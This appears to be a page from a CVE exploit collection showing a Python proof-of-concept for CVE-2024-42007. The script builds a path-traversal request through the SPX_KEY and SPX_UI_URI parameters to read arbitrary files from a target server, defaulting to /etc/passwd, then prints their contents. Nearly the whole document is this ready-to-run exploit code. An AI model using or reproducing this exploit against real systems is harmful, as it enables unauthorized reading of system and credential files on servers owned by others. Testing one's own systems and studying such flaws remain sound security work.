4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE_2024_42007.py PY
import argparse
import requests
import urllib.parse
import sys

def validate_url(target_url):
    parsed_url = urllib.parse.urlparse(target_url)
    return parsed_url.scheme in ['http', 'https']

def exploit(target_url, file_to_read, detection_string):
    traversal = "%2f.." * 18
    encoded_path = urllib.parse.quote(file_to_read)
    vuln_url = f"{target_url}/?SPX_KEY=dev&SPX_UI_URI={traversal}{encoded_path}"

    try:
        response = requests.get(vuln_url, timeout=10, verify=False)
    except Exception as e:
        print(f"[-] Error sending request: {e}")
        return None

    if response.status_code == 200 and detection_string in response.text:
        print("[+] The target is vulnerable to CVE-2024-42007!")
        return response.text
    else:
        print("[-] The target isn't vulnerable to CVE-2024-42007.")
        return None

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-42007 Exploit Script (Python 3 version)")
    parser.add_argument('-t', '--target', required=True, help='Target URL (e.g. http://192.168.59.108)')
    parser.add_argument('-f', '--file', default='/etc/passwd', help='File to read (default: /etc/passwd)')
    parser.add_argument('-d', '--detect', default='root:x:0:0:root', help='Detection string (default: root:x:0:0:root)')

    args = parser.parse_args()

    if not validate_url(args.target):
        print("[-] Invalid target URL.")
        sys.exit(1)

    result = exploit(args.target, args.file, args.detect)
    if result:
        print("[*] File contents:\n")
        print(result)

if __name__ == "__main__":
    requests.packages.urllib3.disable_warnings()
    main()